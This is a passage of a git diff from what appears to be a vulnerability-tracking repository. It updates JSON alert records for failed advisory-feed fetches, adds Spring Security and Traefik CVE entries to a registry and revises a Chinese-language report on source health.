"network", + "last_failure": { + "system_id": "strapi", + "display_name": "Strapi", + "source_name": "Strapi GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /strapi/strapi/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/strapi/strapi/security/advisories", + "summary": "strapi::Strapi GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /strapi/strapi/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 1.701 + } + }, + { + "alert_id": "sveltekit::OSV SvelteKit", + "system_id": "sveltekit", + "display_name": "SvelteKit", + "source_name": "OSV SvelteKit", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "sveltekit", + "display_name": "SvelteKit", + "source_name": "OSV SvelteKit", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "sveltekit::OSV SvelteKit::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 5.23 + } + }, + { + "alert_id": "symfony::OSV Symfony", + "system_id": "symfony", + "display_name": "Symfony", + "source_name": "OSV Symfony", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "symfony", + "display_name": "Symfony", + "source_name": "OSV Symfony", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "symfony::OSV Symfony::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 6.981 + } + }, + { + "alert_id": "traefik::OSV Traefik", + "system_id": "traefik", + "display_name": "Traefik", + "source_name": "OSV Traefik", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "traefik", + "display_name": "Traefik", + "source_name": "OSV Traefik", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "traefik::OSV Traefik::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 8.693 + } + }, + { + "alert_id": "undici::OSV Undici", + "system_id": "undici", + "display_name": "Undici", + "source_name": "OSV Undici", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "undici", + "display_name": "Undici", + "source_name": "OSV Undici", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "undici::OSV Undici::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 5.174 + } + }, + { + "alert_id": "vite::OSV Vite", + "system_id": "vite", + "display_name": "Vite", + "source_name": "OSV Vite", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "vite", + "display_name": "Vite", + "source_name": "OSV Vite", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "vite::OSV Vite::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 5.23 + } + }, + { + "alert_id": "vue::OSV Vue", + "system_id": "vue", + "display_name": "Vue", + "source_name": "OSV Vue", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "vue", + "display_name": "Vue", + "source_name": "OSV Vue", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "vue::OSV Vue::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 5.225 + } + }, + { + "alert_id": "webpack::OSV webpack", + "system_id": "webpack", + "display_name": "webpack", + "source_name": "OSV webpack", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "webpack", + "display_name": "webpack", + "source_name": "OSV webpack", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "webpack::OSV webpack::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 5.225 + } + }, + { + "alert_id": "werkzeug::OSV Werkzeug", + "system_id": "werkzeug", + "display_name": "Werkzeug", + "source_name": "OSV Werkzeug", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "werkzeug", + "display_name": "Werkzeug", + "source_name": "OSV Werkzeug", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "werkzeug::OSV Werkzeug::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 7.016 + } + }, + { + "alert_id": "woocommerce::GitHub WooCommerce Advisories", + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "GitHub WooCommerce Advisories", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "GitHub WooCommerce Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /woocommerce/woocommerce/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/woocommerce/woocommerce/security/advisories", + "summary": "woocommerce::GitHub WooCommerce Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /woocommerce/woocommerce/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 3.463 + } + }, + { + "alert_id": "woocommerce::OSV WooCommerce", + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "OSV WooCommerce", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "OSV WooCommerce", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "woocommerce::OSV WooCommerce::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 3.463 + } + }, + { + "alert_id": "woocommerce::Patchstack Database", + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "Patchstack Database", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "Patchstack Database", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='patchstack.com', port=443): Max retries exceeded with url: /database/ (Caused by NameResolutionError(\"HTTPSConnection(host='patchstack.com', port=443): Failed to resolve 'patchstack.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://patchstack.com/database/", + "summary": "woocommerce::Patchstack Database::network::HTTPSConnectionPool(host='patchstack.com', port=443): Max retries exceeded with url: /database/ (Caused by NameResolutionError(\"HTTPSConnection(host='patchstack.com', port=443): Failed to resolve 'patchstack.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 3.481 + } + }, + { + "alert_id": "woocommerce::Woo Developer Advisories", + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "Woo Developer Advisories", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "Woo Developer Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='developer.woocommerce.com', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='developer.woocommerce.com', port=443): Failed to resolve 'developer.woocommerce.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://developer.woocommerce.com/", + "summary": "woocommerce::Woo Developer Advisories::network::HTTPSConnectionPool(host='developer.woocommerce.com', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='developer.woocommerce.com', port=443): Failed to resolve 'developer.woocommerce.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 3.481 + } + }, + { + "alert_id": "woocommerce::Wordfence Vulnerability Database", + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "Wordfence Vulnerability Database", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "Wordfence Vulnerability Database", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.wordfence.com', port=443): Max retries exceeded with url: /threat-intel/vulnerabilities/wordpress-plugins/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.wordfence.com', port=443): Failed to resolve 'www.wordfence.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/", + "summary": "woocommerce::Wordfence Vulnerability Database::network::HTTPSConnectionPool(host='www.wordfence.com', port=443): Max retries exceeded with url: /threat-intel/vulnerabilities/wordpress-plugins/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.wordfence.com', port=443): Failed to resolve 'www.wordfence.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 3.411 + } + }, + { + "alert_id": "wordpress::Patchstack Database", + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "Patchstack Database", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "Patchstack Database", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='patchstack.com', port=443): Max retries exceeded with url: /database/ (Caused by NameResolutionError(\"HTTPSConnection(host='patchstack.com', port=443): Failed to resolve 'patchstack.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://patchstack.com/database/", + "summary": "wordpress::Patchstack Database::network::HTTPSConnectionPool(host='patchstack.com', port=443): Max retries exceeded with url: /database/ (Caused by NameResolutionError(\"HTTPSConnection(host='patchstack.com', port=443): Failed to resolve 'patchstack.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 1.736 + } + }, + { + "alert_id": "wordpress::PortSwigger Research", + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "PortSwigger Research", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "PortSwigger Research", + "source_kind": "html-links", + "source_bucket": "research_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='portswigger.net', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='portswigger.net', port=443): Failed to resolve 'portswigger.net' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://portswigger.net/research", + "summary": "wordpress::PortSwigger Research::network::HTTPSConnectionPool(host='portswigger.net', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='portswigger.net', port=443): Failed to resolve 'portswigger.net' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 1.669 + } + }, + { + "alert_id": "wordpress::WPScan Vulnerability Database", + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "WPScan Vulnerability Database", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "WPScan Vulnerability Database", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='wpscan.com', port=443): Max retries exceeded with url: /blog/ (Caused by NameResolutionError(\"HTTPSConnection(host='wpscan.com', port=443): Failed to resolve 'wpscan.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://wpscan.com/blog/", + "summary": "wordpress::WPScan Vulnerability Database::network::HTTPSConnectionPool(host='wpscan.com', port=443): Max retries exceeded with url: /blog/ (Caused by NameResolutionError(\"HTTPSConnection(host='wpscan.com', port=443): Failed to resolve 'wpscan.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 1.702 + } + }, + { + "alert_id": "wordpress::WordPress Security News RSS", + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "WordPress Security News RSS", + "source_kind": "rss-feed", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "WordPress Security News RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='wordpress.org', port=443): Max retries exceeded with url: /news/category/security/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='wordpress.org', port=443): Failed to resolve 'wordpress.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://wordpress.org/news/category/security/feed/", + "summary": "wordpress::WordPress Security News RSS::network::HTTPSConnectionPool(host='wordpress.org', port=443): Max retries exceeded with url: /news/category/security/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='wordpress.org', port=443): Failed to resolve 'wordpress.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 1.728 + } + }, + { + "alert_id": "wordpress::Wordfence Vulnerability Database", + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "Wordfence Vulnerability Database", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "Wordfence Vulnerability Database", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.wordfence.com', port=443): Max retries exceeded with url: /threat-intel/vulnerabilities/wordpress-plugins/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.wordfence.com', port=443): Failed to resolve 'www.wordfence.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/", + "summary": "wordpress::Wordfence Vulnerability Database::network::HTTPSConnectionPool(host='www.wordfence.com', port=443): Max retries exceeded with url: /threat-intel/vulnerabilities/wordpress-plugins/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.wordfence.com', port=443): Failed to resolve 'www.wordfence.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 1.672 + } + } + ], + "monitor_summary": { + "generated_at": "2026-03-21T12:51:08+00:00", + "active_source_count": 101, + "green_source_count": 26, + "source_failure_count": 75, + "open_alert_count": 75, + "resolved_alert_count": 26, + "last_fully_green_run": "2026-03-20T15:45:58+00:00", + "source_catalog": { + "system_count": 62, + "source_count": 179, + "retired_source_count": 78 + }, + "ingest": { + "new_count": 3, + "updated_count": 0, + "failure_count": 2, + "systems_touched": [ + "spring-security", + "traefik" + ] + }, + "validation": { + "passed": true, + "error_count": 0, + "errors": [] + }, + "entity_coverage": { + "cataloged_entity_total": 99, + "candidate_entity_total": 17, + "history_full_complete_count": 40, + "workflow_complete_count": 99, + "version_mapped_count": 51, + "official_source_covered_count": 99 + } + } +} diff --git a/08-threat-intel/registry/systems/spring-security.json b/08-threat-intel/registry/systems/spring-security.json index e6a61b3c..b8c95a9a 100644 --- a/08-threat-intel/registry/systems/spring-security.json +++ b/08-threat-intel/registry/systems/spring-security.json @@ -3,10 +3,10 @@ "display_name": "Spring Security", "category": "frameworks", "tier": "rolling-24m", - "total": 3, - "markdown_cases": 0, + "total": 4, + "markdown_cases": 1, "triage_count": 3, - "latest_update": "", + "latest_update": "2026-03-20T20:46:26.164998Z", "output_dir": "07-framework-security/frameworks/spring-security", "secure_code_topics": [ "authz-server-side-recheck", @@ -16,28 +16,39 @@ "verified_real": 0, "verified_synthetic": 0, "blocked_count": 0, - "manual_count": 3, + "manual_count": 4, "entity_summary": { "system_id": "spring-security", "display_name": "Spring Security", - "cataloged_entity_total": 1, - "child_entity_total": 0, + "cataloged_entity_total": 2, + "child_entity_total": 1, "candidate_entity_total": 0, - "workflow_complete_count": 1, - "version_mapped_count": 0, - "official_source_covered_count": 1, + "workflow_complete_count": 2, + "version_mapped_count": 1, + "official_source_covered_count": 2, "history_full_complete_count": 0, - "latest_green_count": 1, + "latest_green_count": 2, "version_gap_entity_count": 1, "workflow_gap_entity_count": 0, "plugin_total": 0, "entity_type_counts": { - "system": 1 + "system": 1, + "project": 1 }, - "top_entities": [], + "top_entities": [ + { + "entity_id": "spring-security--project--org-springframework-security-spring-security-web", + "entity_type": "project", + "display_name": "org.springframework.security:spring-security-web", + "advisory_count": 1, + "history_backfill_status": "seeded", + "latest_sync_status": "green" + } + ], "backlog_preview": [] }, "items": [ + "spring-security--CVE-2026-22732", "spring-security--3da31f4883", "spring-security--7817f6fd2f", "spring-security--9516ccd1a4" diff --git a/08-threat-intel/registry/systems/traefik.json b/08-threat-intel/registry/systems/traefik.json index 54d6434d..e4eef383 100644 --- a/08-threat-intel/registry/systems/traefik.json +++ b/08-threat-intel/registry/systems/traefik.json @@ -3,10 +3,10 @@ "display_name": "Traefik", "category": "servers", "tier": "rolling-24m", - "total": 43, + "total": 45, "markdown_cases": 0, "triage_count": 27, - "latest_update": "2026-03-18T13:59:10.423590Z", + "latest_update": "2026-03-20T15:46:41.715568Z", "output_dir": "07-framework-security/servers/traefik", "secure_code_topics": [ "proxy-trust-boundary", @@ -15,38 +15,49 @@ "verified_real": 0, "verified_synthetic": 0, "blocked_count": 0, - "manual_count": 43, + "manual_count": 45, "entity_summary": { "system_id": "traefik", "display_name": "Traefik", - "cataloged_entity_total": 2, - "child_entity_total": 1, + "cataloged_entity_total": 3, + "child_entity_total": 2, "candidate_entity_total": 0, - "workflow_complete_count": 2, - "version_mapped_count": 1, - "official_source_covered_count": 2, + "workflow_complete_count": 3, + "version_mapped_count": 2, + "official_source_covered_count": 3, "history_full_complete_count": 1, - "latest_green_count": 2, + "latest_green_count": 3, "version_gap_entity_count": 1, "workflow_gap_entity_count": 0, - "plugin_total": 0, + "plugin_total": 1, "entity_type_counts": { "system": 1, - "repo": 1 + "repo": 1, + "extension": 1 }, "top_entities": [ { "entity_id": "traefik--repo--github-com-traefik-traefik-v3", "entity_type": "repo", "display_name": "traefik / traefik / v3", - "advisory_count": 16, + "advisory_count": 17, "history_backfill_status": "complete", "latest_sync_status": "green" + }, + { + "entity_id": "traefik--extension--github-com-traefik-traefik-v3", + "entity_type": "extension", + "display_name": "traefik / traefik / v3", + "advisory_count": 1, + "history_backfill_status": "seeded", + "latest_sync_status": "green" } ], "backlog_preview": [] }, "items": [ + "traefik--CVE-2026-32595", + "traefik--CVE-2026-32305", "traefik--GHSA-4hjq-9h5c-252j", "traefik--CVE-2026-29777", "traefik--CVE-2026-29054", diff --git a/docs/testing-completeness-report.md b/docs/testing-completeness-report.md index d130c7af..531e25f1 100644 --- a/docs/testing-completeness-report.md +++ b/docs/testing-completeness-report.md @@ -1,15 +1,15 @@ # 全库 Advisory 完整度报告 -- 生成时间: `2026-03-20T15:46:06+00:00` +- 生成时间: `2026-03-21T13:36:59+00:00` - 最新 advisory 完整度: `89/89` `verified-real` - 合成验证数量: `0` - 阻塞数量: `0` - 人工/待补证据数量: `0` - 完整度百分比: `100.0%` -- active source 全绿: `101/101` -- source open alerts: `0` +- active source 全绿: `26/101` +- source open alerts: `75` - 最近一次 source 全绿: `2026-03-20T15:45:58+00:00` -- 已编目实体: `97` +- 已编目实体: `99` - 待编目 backlog: `17` ## 系统覆盖矩阵 @@ -24,10 +24,10 @@ ## 分层实体完整度 - history-full 已完成: `40` -- latest green: `97` -- workflow 完整: `97` -- 版本映射完整: `49` -- 官方源覆盖: `97` +- latest green: `99` +- workflow 完整: `99` +- 版本映射完整: `51` +- 官方源覆盖: `99` - 插件 history-full 已完成: `4` ## 历史阻塞项修复纪要 @@ -41,10 +41,12 @@ ## Ingest / Source 健康度 -- source failures: `0` +- source failures: `2` - active sources: `101` -- green sources: `101` -- open alerts: `0` +- green sources: `26` +- open alerts: `75` +- directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30) +- moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30) ## 剩余风险说明